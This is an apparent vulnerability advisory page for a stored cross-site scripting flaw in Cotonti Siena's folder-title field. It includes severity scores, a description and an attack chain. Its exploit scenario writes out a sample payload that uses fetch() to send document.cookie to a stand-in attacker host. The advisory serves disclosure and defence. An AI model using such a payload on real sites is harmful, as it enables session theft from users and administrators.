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Cotonti Siena EUVDEUVD-2026-42739

| CVE-2026-58144 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-09 disclosure@vulncheck.com GHSA-7h9c-8pxh-fg6v
XSS PHP
5.1
CVSS 4.0 · Vendor: vulncheck
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Severity by source

Vendor (vulncheck) PRIMARY
5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
5.4 MEDIUM

Network-delivered stored XSS requires low-privilege PFS account (PR:L) and victim browsing (UI:R); scope change to other users' sessions justifies S:C with limited C and I impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
P
Scope
X

Lifecycle Timeline

1
Analysis Generated
Jul 09, 2026 - 22:47 vuln.today

DescriptionCVE.org

Cotonti Siena 0.9.26 and earlier contains a stored cross-site scripting vulnerability that allows authenticated users with PFS access to inject arbitrary script payloads by supplying malicious HTML in the ntitle parameter processed through the TXT filter in pfs.main.php. Attackers can create a folder with a crafted title containing script tags that are stored unescaped in the database and execute in the browser of any user who views the folder listing, including administrators.

AnalysisAI

Stored cross-site scripting in Cotonti Siena 0.9.26 and earlier allows any authenticated user with PFS (Personal File System) access to plant persistent JavaScript payloads by submitting a crafted folder title via the ntitle parameter. The TXT filter in pfs.main.php fails to sanitize HTML before persisting the value, so the payload executes in the browser of every subsequent visitor - including administrators - who views the folder listing. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate as low-privilege user with PFS access
Delivery
Create folder with script tag in ntitle field
Exploit
Payload stored unescaped in database
Execution
Victim navigates to folder listing
Persist
Injected script executes in victim browser
Impact
Exfiltrate session cookies or perform actions as victim
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Vulnerability AssessmentAI

Exploitation Exploitation requires the attacker to hold an authenticated Cotonti user account that has been granted PFS (Personal File System) access - a permission that must be explicitly assigned and is not available to anonymous visitors (CVSS PR:L). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The assigned CVSS 4.0 base score of 5.1 (Medium) accurately reflects the constrained blast radius: exploitation requires an authenticated account with PFS access (PR:L), and victim impact only materializes when a user browses the folder listing (UI:P). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker holding a low-privilege Cotonti account with PFS access navigates to the file system module and creates a new folder, supplying a title such as `Docs<script>fetch('https://attacker.example/log?c='+document.cookie)</script>`. The payload is stored unescaped in the database. …
Remediation No vendor-released patch has been identified at time of analysis; the reference points solely to a researcher gist with no corresponding Cotonti project release or commit. … Detailed patch versions, workarounds, and compensating controls in full report.
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EUVD-2026-42739 vulnerability details – vuln.today
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